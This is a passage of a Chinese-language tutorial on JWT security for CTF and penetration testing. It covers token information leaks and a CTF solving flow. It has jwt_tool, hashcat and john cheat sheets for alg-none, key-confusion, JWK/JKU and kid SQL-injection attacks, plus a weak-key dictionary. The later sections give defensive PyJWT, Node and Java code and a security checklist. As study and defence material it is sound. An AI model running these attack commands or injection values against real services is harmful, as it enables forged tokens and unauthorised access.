# 攻击场景
payload = {
"user": "alice",
"iat": int(time.time()), # 当前时间(刷新签发时间)
"nbf": 0, # 1970年就可用(极早)
"exp": 9999999999, # 永不过期
}
八、敏感信息泄露
8.1 Payload 信息泄露
#!/usr/bin/env python3
"""JWT Payload 解码(不验证签名)"""
import base64
import json
def decode_jwt_insecure(token: str) -> dict:
"""解码 JWT 的所有部分(不验证签名)"""
parts = token.split('.')
if len(parts) != 3:
raise ValueError("无效的 JWT 格式")
def decode_part(part: str):
part += '=' * (4 - len(part) % 4)
decoded = base64.urlsafe_b64decode(part)
try:
return json.loads(decoded)
except:
return decoded.hex()
return {
"header": decode_part(parts[0]),
"payload": decode_part(parts[1]),
"signature": parts[2],
"raw": parts
}
# 常见泄露内容
# ① 用户 ID / 手机号 / 邮箱(PII 信息)
# ② 内部 IP 地址 / 服务器名称
# ③ 密码哈希(某些错误实现)
# ④ 访问权限 / 角色(便于后续攻击)
# ⑤ 版本信息 / 框架信息
# ⑥ 调试信息(is_debug: true)
# ⑦ 内部服务地址(iss 字段)
8.2 Header 泄露信息
# Header 中可能泄露的信息:
header_info = {
"alg": "HS256", # 算法类型(选择攻击方式的关键)
"kid": "prod-key-v2", # 密钥 ID(可能泄露内部命名规则)
"jku": "https://internal.company.com/jwks", # 内网地址!
"x5u": "https://internal.ca/cert.pem", # 内部 CA
"typ": "JWT",
}
# 从 jku / x5u 中可能发现:
# ① 内部服务地址
# ② 内部 DNS 名称
# ③ 内部端口
# ④ 路径结构
# 从 kid 可能推断:
# ① 密钥轮换规则(key-v1, key-v2...)
# ② 环境区分(prod-key / dev-key)
# ③ 密钥存储路径(file:///keys/key1.pem)
九、CTF 实战思路
9.1 解题流程
获取 JWT Token
│
├── 解码 Header + Payload(不验证签名)
│ 工具:jwt.io / jwt_tool / 手动 Base64 解码
│
↓
分析 Header(确认算法和攻击方向)
│
├── alg = none / None / NONE
│ → 尝试 Algorithm None 攻击(直接去掉签名)
│
├── alg = HS256 / HS384 / HS512
│ ├── 尝试弱密钥爆破(hashcat / jwt_tool)
│ ├── 检查 kid 字段 → kid 注入(SQL / 路径穿越)
│ └── 检查源码中是否有密钥泄露
│
├── alg = RS256 / RS384 / RS512
│ ├── 获取公钥 → 尝试 RS256→HS256 混淆攻击
│ ├── 检查 jwk 字段 → JWK 注入
│ ├── 检查 jku/x5u 字段 → JKU/X5U 注入
│ └── 检查 kid 字段 → kid 注入
│
└── alg = ES256 / ES384 / ES512
├── Java 环境 → 尝试 Psychic Signatures(全零签名)
└── 检查 jwk/jku 字段
│
↓
分析 Payload(确定篡改目标)
│
├── 修改 role → admin
├── 修改 admin → true
├── 修改 user_id / sub → 目标 ID
└── 延长 exp 过期时间
│
↓
构造攻击 Payload → 提交 → 验证效果
9.2 快速攻击速查
# ── jwt_tool 全功能速查 ──
# 解码(不验证)
python3 jwt_tool.py <JWT>
# Algorithm None 攻击
python3 jwt_tool.py <JWT> -X a
# 弱密钥爆破
python3 jwt_tool.py <JWT> -C -d wordlist.txt
# RS256 → HS256 混淆(自动获取公钥)
python3 jwt_tool.py <JWT> -X k -pk public.pem
# JWK 注入
python3 jwt_tool.py <JWT> -X i
# JKU 注入(指定攻击者服务器)
python3 jwt_tool.py <JWT> -X s
# kid 注入(SQL)
python3 jwt_tool.py <JWT> -I -hc kid -hv "' UNION SELECT 'hacked'--"
# 修改 Payload 并重新签名(已知密钥)
python3 jwt_tool.py <JWT> -I -pc role -pv admin -S hs256 -p "secret"
# 扫描所有漏洞
python3 jwt_tool.py <JWT> -t https://target.com/ -rh "Authorization: Bearer JWT" -M at
# ── hashcat 爆破 ──
echo "<JWT>" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# ── 手动 Base64URL 解码 ──
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d # 简化版(需补齐=)
python3 -c "
import base64, sys
s = sys.argv[1]
s += '=' * (4 - len(s) % 4)
print(base64.urlsafe_b64decode(s).decode())
" "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
十、工具速查
10.1 常用工具汇总
# ── jwt.io(在线工具)──
# https://jwt.io
# 功能:解码/编码/验证 JWT,支持多种算法
# ── jwt_tool(Python,功能最全面)──
git clone https://github.com/ticarpi/jwt_tool
pip3 install -r requirements.txt
python3 jwt_tool.py --help
# 主要功能:
# 解码、修改、签名、爆破、漏洞扫描
# 支持 None/弱密钥/混淆/JWK/JKU/kid 注入
# ── hashcat(GPU 加速爆破)──
hashcat -m 16500 jwt.txt wordlist.txt
# ── john the ripper ──
john --format=HMAC-SHA256 --wordlist=wordlist.txt jwt.txt
# ── c-jwt-cracker(C语言,快速)──
git clone https://github.com/brendan-rius/c-jwt-cracker
make
./jwtcrack <JWT>
# ── PyJWT(Python 库)──
pip install PyJWT
python3 -c "
import jwt
# 解码不验证
data = jwt.decode('<token>', options={'verify_signature': False})
print(data)
"
# ── Burp Suite 插件 ──
# JWT Editor(推荐):功能全,支持攻击场景
# JSON Web Tokens:基础解码
# JOSEPH(JWT/JWS/JWE 攻击)
# ── CyberChef(在线)──
# https://gchq.github.io/CyberChef/
# JSON Web Token Decode/Sign 功能
10.2 jwt_tool 详细使用
# 安装
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install termcolor cprint pycryptodomex requests
# 基础使用
TOKEN="eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWxpY2UifQ.xxx"
# 1. 解码显示
python3 jwt_tool.py $TOKEN
# 2. 修改声明(需要配合其他参数重签)
python3 jwt_tool.py $TOKEN -I -pc "role" -pv "admin"
# -I: 交互式修改
# -pc: 修改 Payload 中的声明 key
# -pv: 修改 Payload 中的声明 value
# 3. 已知密钥签名
python3 jwt_tool.py $TOKEN -I -pc "role" -pv "admin" -S hs256 -p "secret"
# -S: 签名算法(hs256/hs384/hs512/rs256 等)
# -p: 密钥
# 4. Algorithm None 攻击
python3 jwt_tool.py $TOKEN -X a
# 自动生成多个 none 变体
# 5. 弱密钥爆破
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt
# -C: crack 模式
# -d: 字典文件
# 6. RS256 → HS256 混淆攻击
python3 jwt_tool.py $TOKEN -X k -pk server_public.pem
# -X k: key confusion 攻击
# -pk: 公钥文件路径
# 7. JWK 注入攻击
python3 jwt_tool.py $TOKEN -X i
# 自动生成密钥对并嵌入 JWK
# 8. 扫描模式(自动尝试多种攻击)
python3 jwt_tool.py $TOKEN \
-t "https://target.com/api/protected" \
-rh "Authorization: Bearer JWT" \
-M at
# -t: 目标 URL
# -rh: 请求头(JWT 用于替换)
# -M at: 扫描所有攻击类型
十一、防御措施
11.1 签名验证正确实践
# ── Python(PyJWT)安全实践 ──
import jwt
# ❌ 危险:不指定算法,可能接受 none
payload = jwt.decode(token, secret, algorithms=None)
# ❌ 危险:options 禁用所有验证
payload = jwt.decode(token, secret, options={"verify_signature": False})
# ✅ 安全:明确指定允许的算法
payload = jwt.decode(
token,
secret,
algorithms=["HS256"], # 只允许 HS256
options={
"verify_exp": True, # 验证过期时间
"verify_nbf": True, # 验证 nbf
"verify_iat": True, # 验证签发时间
"verify_aud": True, # 验证受众
"require": ["exp", "iat", "sub"] # 要求必须包含的声明
},
audience="my-api"
)
# ✅ 对于 RSA 算法:
payload = jwt.decode(
token,
public_key,
algorithms=["RS256"], # 只允许 RS256,防止混淆攻击
)
// ── Node.js(jsonwebtoken)安全实践 ──
// ❌ 危险:不指定算法
const payload = jwt.verify(token, secret);
// ❌ 危险:接受从 Token 中获取的算法
const { alg } = jwt.decode(token, { complete: true }).header;
const payload = jwt.verify(token, secret, { algorithms: [alg] });
// ✅ 安全:硬编码允许的算法
const payload = jwt.verify(token, secret, {
algorithms: ['HS256'], // 只允许 HS256
issuer: 'auth.example.com',
audience: 'api.example.com',
clockTolerance: 30, // 允许 30 秒时钟偏差
});
// ✅ RSA 场景
const payload = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // 明确指定,防止混淆攻击
});
// ── Java(jjwt)安全实践 ──
// ❌ 危险:不限制算法
Claims claims = Jwts.parser()
.setSigningKey(key)
.parseClaimsJws(token)
.getBody();
// ✅ 安全
Claims claims = Jwts.parserBuilder()
.setSigningKey(key)
.requireIssuer("auth.example.com")
.requireAudience("api.example.com")
.setAllowedClockSkewSeconds(30)
.build()
.parseClaimsJws(token) // 自动验证 exp/nbf/iat
.getBody();
11.2 密钥管理
import secrets
import os
# ── 密钥强度要求 ──
# HS256:至少 256 位(32 字节)随机密钥
# HS384:至少 384 位(48 字节)随机密钥
# HS512:至少 512 位(64 字节)随机密钥
# RS256/ES256:至少 2048/256 位密钥对
# 生成强随机密钥
def generate_secure_key(bits: int = 256) -> str:
return secrets.token_hex(bits // 8)
# HS256 密钥(32字节 = 256位)
hs256_key = generate_secure_key(256)
print(f"HS256 密钥: {hs256_key}") # 64个十六进制字符
# ❌ 不要使用弱密钥
BAD_KEYS = [
"secret", "password", "123456",
os.getenv("APP_NAME", "myapp"), # 动态生成但可预测
"secret_" + "key", # 拼接可预测字符串
]
# ✅ 密钥存储最佳实践
# 1. 使用环境变量(不写在代码里)
secret = os.environ['JWT_SECRET_KEY'] # 从环境变量读取
# 2. 使用密钥管理服务(AWS KMS / HashiCorp Vault)
# 3. 定期轮换密钥(配合 kid 机制)
# 4. 不同环境使用不同密钥(dev/staging/prod)
11.3 防止声明伪造
# ── 服务端验证声明的正确方式 ──
def validate_token(token: str, secret: str) -> dict:
"""安全的 Token 验证"""
try:
payload = jwt.decode(
token,
secret,
algorithms=["HS256"],
options={"require": ["exp", "iat", "sub", "iss"]}
)
except jwt.ExpiredSignatureError:
raise AuthError("Token 已过期")
except jwt.InvalidAlgorithmError:
raise AuthError("不允许的签名算法")
except jwt.InvalidTokenError as e:
raise AuthError(f"无效的 Token: {e}")
# 额外的业务逻辑验证(不仅依赖 JWT 声明)
user_id = payload.get('sub')
role = payload.get('role')
# ✅ 从数据库重新获取用户信息,而非完全信任 JWT 声明
user = db.get_user(user_id)
if not user:
raise AuthError("用户不存在")
if user.role != role: # 验证角色一致性
raise AuthError("Token 声明与数据库不一致")
return payload
# ── JWT 黑名单(用于撤销 Token)──
revoked_tokens = set() # 实际使用 Redis
def is_revoked(jti: str) -> bool:
return jti in revoked_tokens
def revoke_token(jti: str):
revoked_tokens.add(jti)
# 在验证时检查
payload = jwt.decode(token, secret, algorithms=["HS256"])
if is_revoked(payload.get('jti', '')):
raise AuthError("Token 已被撤销")
11.4 JWK/JKU 安全配置
# ── 防止 JWK 注入 ──
# 不信任 Header 中的 jwk 参数
# ❌ 危险
from cryptography.hazmat.primitives.asymmetric import rsa
header = jwt.get_unverified_header(token)
if 'jwk' in header:
# 从 header 取 JWK 用于验证 → 危险!
public_key = load_key_from_jwk(header['jwk'])
# ✅ 安全:只使用服务端预定义的公钥
TRUSTED_PUBLIC_KEYS = {
"key-1": load_public_key_from_file("/keys/public1.pem"),
"key-2": load_public_key_from_file("/keys/public2.pem"),
}
def get_verified_public_key(token: str):
header = jwt.get_unverified_header(token)
kid = header.get('kid')
if kid not in TRUSTED_PUBLIC_KEYS:
raise AuthError(f"未知的 kid: {kid}")
return TRUSTED_PUBLIC_KEYS[kid]
# ── 防止 JKU 注入 ──
TRUSTED_JKU_URLS = {
"https://auth.example.com/.well-known/jwks.json",
}
def validate_jku(jku_url: str):
if jku_url not in TRUSTED_JKU_URLS:
raise AuthError(f"不信任的 JKU URL: {jku_url}")
11.5 安全检查清单
JWT 安全检查清单:
签名与算法:
✅ 明确指定允许的算法(算法白名单),绝不信任 Header 中的算法声明
✅ 禁用 alg=none
✅ HS 算法使用至少 256 位的随机密钥
✅ 优先使用 RS256/ES256(非对称算法)
✅ 不要在 RS256 验证时同时接受 HS256(防混淆攻击)
声明验证:
✅ 验证 exp(过期时间)
✅ 验证 nbf(生效时间)
✅ 验证 iss(签发者)
✅ 验证 aud(受众)
✅ 包含 jti(JWT ID)用于防重放
✅ 不完全信任 JWT 声明,关键信息从数据库二次验证
密钥管理:
✅ 密钥存储在环境变量/密钥管理服务,不硬编码
✅ 定期轮换密钥(配合 kid 机制)
✅ 不同环境使用不同密钥
JWK/JKU 安全:
✅ 不信任 Header 中的 jwk 参数
✅ jku/x5u 使用严格白名单
✅ kid 用于数据库/文件系统查询时做严格过滤
其他:
✅ 实现 Token 黑名单(支持撤销)
✅ 设置合理的有效期(短期 Token + Refresh Token)
✅ HTTPS 传输,防止 Token 被窃取
✅ 不在 URL 中传递 JWT(使用 Authorization Header)
✅ 定期进行安全审计和渗透测试
附录
A. JWT 攻击速查表
| 攻击类型 | 适用条件 | 关键操作 | 工具/命令 |
|---|---|---|---|
| Algorithm None | 服务端未强制签名 | alg→none,去掉签名 | jwt_tool -X a |
| 弱密钥爆破 | HS256 + 弱密钥 | hashcat/字典爆破 | hashcat -m 16500 |
| RS256→HS256 混淆 | RS256 + 可获取公钥 | alg→HS256,公钥作HMAC密钥 | jwt_tool -X k -pk pub.pem |
| JWK 注入 | Header 接受 jwk 字段 | 生成密钥对,嵌入公钥 | jwt_tool -X i |
| JKU 注入 | Header 接受 jku,无白名单 | 托管JWKS,指向自己服务器 | jwt_tool -X s |
| kid SQL 注入 | kid 拼入 SQL 查询 | kid→SQL注入语句 | 手动构造 |
| kid 路径穿越 | kid 用于读取文件 | kid→/dev/null,空密钥签名 | 手动构造 |
| Psychic Sig | Java ES256(未打补丁) | 签名改为全零字节 | 手动构造 |
| exp 绕过 | 服务端不验证 exp | exp→9999999999 | 配合其他攻击 |
B. 常见弱密钥字典
secret
password
123456
admin
jwt
token
secret123
qwerty
letmein
my-secret-key
supersecret
your-256-bit-secret
change-me
jwt-secret
jwt_secret
jwtSecret
app-secret
auth-secret
signing-key
private-key
SjkFoKP0HpGdBlU1UBMb6KnakBTi4Sbv
C. JWT 格式快速参考
JWT 结构:
<Base64URL(Header)>.<Base64URL(Payload)>.<Signature>
none 攻击格式:
<Base64URL({"alg":"none"})>.<Base64URL(Payload)>.
Header 攻击参数:
alg → 算法(none 攻击 / RS256→HS256 混淆)
kid → 密钥ID(SQL注入 / 路径穿越)
jwk → 内嵌公钥(JWK 注入)
jku → JWK Set URL(JKU 注入)
x5u → X.509 URL(X5U 注入)
Payload 攻击字段:
role / admin / is_admin / permissions
sub / user / user_id / uid
exp / nbf / iat
iss / aud
⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。JWT 漏洞的利用在未经授权的情况下属于违法行为,请在合法合规的环境中学习与实践。